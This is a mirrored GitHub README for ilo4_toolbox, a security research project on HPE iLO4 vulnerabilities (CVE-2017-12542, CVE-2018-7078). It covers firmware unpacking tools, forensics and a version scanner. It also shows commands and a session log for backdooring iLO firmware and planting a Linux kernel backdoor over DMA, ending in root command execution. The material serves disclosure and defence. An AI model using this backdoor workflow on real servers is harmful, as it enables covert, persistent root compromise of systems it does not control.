Git Product home page Git Product logo

ilo4_toolbox's Introduction

Subverting your server through its BMC: the HPE iLO4 case

Introduction

iLO is the server management solution embedded in almost every HP servers for more than 10 years. It provides every feature required by a system administrator to remotely manage a server without having to reach it physically. Such features include power management, remote system console, remote CD/DVD image mounting, as well as many monitoring indicators.

We've performed a deep dive security study of HP iLO4 (known to be used on the family of servers HP ProLiant Gen8 and ProLiant Gen9 servers) and the results of this study were presented at the REcon conference held in Brussels (February 2 - 4, 2018, see1).

A follow-up of our study was presented at the SSTIC conference, held in France (Rennes, June 13 - 15, 2018, see2). We focused this talk on firmware backdooring and achieving long-term persistence.

iLO4 runs on a dedicated ARM processor embedded in the server, and is totally independent from the main processor. It has a dedicated flash chip to hold its firmware, a dedicated RAM chip and a dedicated network interface. On the software side, the operating system is the proprietary RTOS GreenHills Integrity3.

Results

One critical vulnerability was identified and reported to the HP PSIRT in February 2017, known as CVE-2017-12542 (CVSSv3 9.84) :

  • Authentication bypass and remote code execution
  • Fixed in iLO4 versions 2.53 (released in May 2017, buggy) and 2.545

A second critical vulnerability was identified in iLO4 and iLO5 . It was reported to the HP PSIRT in April 2018 and is known as CVE-2018-7078 (CVSSv3 7.26, HPE Security Bulletin HPESBHF038447) :

  • Remote or local code execution
  • Fixed in iLO4 versions 2.60 (released in May 2018)
  • Fixed in iLO5 versions 1.30 (released in June 2018)

Slides and demos

REcon Brussels 2018

The slides from our REcon talk are available here . They cover the following points:

  • Firmware unpacking and memory space understanding
  • GreenHills OS Integrity internals:

    • kernel object model
    • virtual memory
    • process isolation
  • Review of exposed attack surface: www, ssh, etc.
  • Vulnerability discovery and exploitation
  • Demonstration of a new exploitation technique that allows to compromise the host server operating system through DMA.

To illustrate them, we also release the three demos as videos. The first one demonstrates the use of the vulnerability we discovered to bypass the authentication from the RedFish API:

image

In the second one we show how the vulnerability can also be turned into an arbitrary remote code execution (RCE) in the process of the web server; allowing read access to the iLO file-system for example.

image

Finally, in the third videos, we leverage this RCE to exploit an iLO4 feature which allows us to access (RW) to the host memory and inject a payload in the host Linux kernel.

image

SSTIC 2018

The slides from our SSTIC talk are available at this location (more details can be found in the paper). After a brief recap of our REcon talk, we propose the following new materials:

  • Firmware security and boot chain analysis
  • Backdoor architecture

To illustrate these works, we release a new demo as video. It demonstrates the use of the vulnerability we discovered in the web server to flash a new backdoored firmware. Then we demonstrate the use of the DMA communication channel to execute arbitrary commands on the host system.

image

Tooling

To support our research we've developed scripts and tools to help us automatize some tasks, especially firmware unpacking and mapping.

Firmware

ilo4_extract.py script takes an HP Signed file as input (obtained from the update package). It is invoked with:

>python ilo4_extract.py ilo4_244.bin extract

Extract from the output log:

[+] iLO Header 0: iLO4 v 2.44.7 19-Jul-2016
  > magic              : iLO4
  > build_version      :  v 2.44.7 19-Jul-2016
  > type               : 0x08
  > compression_type   : 0x1000
  > field_24           : 0xaf8
  > field_28           : 0x105f57
  > decompressed_size  : 0x16802e0
  > raw_size           : 0xd0ead3
  > load_address       : 0xffffffff
  > field_38           : 0x0
  > field_3C           : 0xffffffff
  > signature

From the extracted file, ilo0.bin is the Integrity applicative image (userland). It contains all the tasks that will run on the iLO system. To parse each of these tasks and generate the IDA Pro loading script, one can use the script dissection.rb.

It relies upon the Metasm framework8 and also requires the Bindata library9.

>ruby dissection.rb ilo0.bin

Back to the kernel image, ilo4_extract.py told us that:

[+] iLO Header 1: iLO4 v 0.8.36 16-Nov-2015
  > magic              : iLO4
  > build_version      :  v 0.8.36 16-Nov-2015
  > type               : 0x02
  > compression_type   : 0x1000
  > field_24           : 0x9fd
  > field_28           : 0x100344
  > decompressed_size  : 0xc0438
  > raw_size           : 0x75dad
  > load_address       : 0x20001000
  > field_38           : 0x0
  > field_3C           : 0xffffffff

Using IDA Pro to load the extracted file ilo1.bin at 0x20001000 as ARM code, one can also study the Integrity kernel.

  • secinfo4.py parses the section information embedded into the kernel image and creates the appropriate memory segment in the disassembler
  • parse_mr.py dumps the registered Memory Region objects

iLO5 format differs slightly, however the same dissection.rb script can be used to extract the Integrity applicative image.

Firmware backdooring

The insert_backdoor.sh script can be run on a legitimate firmware file to add a backdoor in the webserver module. The backdoor can then be used using the backdoor_client.py script.

>./insert_backdoor.sh ilo4_250.bin
[...]
[+] Firmware ready to be flashed

>python backdoor_client.py 192.168.42.78
[+] iLO Backdoor found
[-] Linux Backdoor not detected
[...]
>>> ib.install_linux_backdoor()
[*] Dumping kernel...
[+] Dumped 1000000 bytes!
[+] Found syscall table @0xffffffff81a001c0
[+] Found sys_read @0xffffffff8121e510
[+] Found call_usermodehelper @0xffffffff81098520
[+] Found serial8250_do_pm @0xffffffff81528760
[+] Found kthread_create_on_node @0xffffffff810a2000
[+] Found wake_up_process @0xffffffff810ad860
[+] Found __kmalloc @0xffffffff811f8c50
[+] Found slow_virt_to_phys @0xffffffff8106c6a0
[+] Found msleep @0xffffffff810f0050
[+] Found strcat @0xffffffff8140c9c0
[+] Found kernel_read_file_from_path @0xffffffff812236e0
[+] Found vfree @0xffffffff811d7f90
[+] Shellcode written
[+] iLO Backdoor found
[+] Linux Backdoor found
>>> ib.cmd("/usr/bin/id")
[+] Found shared memory page! 0xeab00000 / 0xffff8800eab00000
uid=0(root) gid=0(root) groups=0(root)

Forensics

The exploit_check_flash.py script can be run against an instance of HP iLO4 vulnerable to CVE-2017-12542. Its purpose it to dump the content of the flash and then compare its digest with a known "good" value.

>python exploit_check_flash.py 192.168.42.78 250

Network

Finally, to help people scan for existing vulnerable iLO systems exposed in their own infrastructures, we release a simple Go scanner. It attempts to fetch a special iLO page: /xmldata?item=ALL; if it exists, then it extracts the firmware version and HP server type.

First edit the "targets" variable in the code and specify the internal IP ranges you want to scan.

var (
     targets = []string{
             "10.0.0.0/8",
             "192.168.66.0/23",
             "172.16.133.0/24"}
)

Then compile the code for your OS/architecture.

> env GOOS=target-OS GOARCH=target-architecture go build iloscan.go

For example:

> env GOOS=openbsd GOARCH=amd64 go build iloscan.go
> ./iloscan

Then look the result in /tmp/iloscan.log (can be changed in the source):

> less /tmp/iloscan.log
192.168.66.69{{ RIMP} [{{ HSI} ProLiant DL380 G7}] [{{ MP} 1.80 ILOCZ2069K2S4       ILO583970CZ2069K2S4}]}

Alternatively, you can invoke the binary with a subnet on the command line (individual IP addresses should be specified as a /32 netmask):

> ./iloscan 1.2.3.4/32
Generated 1.2.3.4
Fetching 1.2.3.4
1.2.3.4 status: 200 OK
{{ RIMP} [{{ HSI} ProLiant DL380 Gen9}] [{{ MP} 2.40 ILOCZJ641057H ILO826683CZJ641057H}]}

Authors

  • Fabien PERIGAUD - fabien [dot] perigaud [at] synacktiv [dot] com - @0xf4b
  • Alexandre GAZET - alexandre [dot] gazet [at] airbus [dot] com
  • Joffrey CZARNY - snorky [at] insomnihack [dot] net - @\_Sn0rkY

License

The scripts and scanner are released under the [GPLv2].

References


  1. https://recon.cx/2018/brussels/talks/subvert_server_bmc.html

  2. https://www.sstic.org/2018/presentation/backdooring_your_server_through_its_bmc_the_hpe_ilo4_case/

  3. https://www.ghs.com/products/rtos/integrity.html

  4. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12542

  5. http://h20565.www2.hpe.com/hpsc/doc/public/display?docId=hpesbhf03769en_us

  6. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7078

  7. https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03844en_us

  8. https://github.com/jjyg/metasm

  9. https://github.com/dmendel/bindata

ilo4_toolbox's People

Contributors

alexgzt avatar brad-mac avatar sn0rky avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.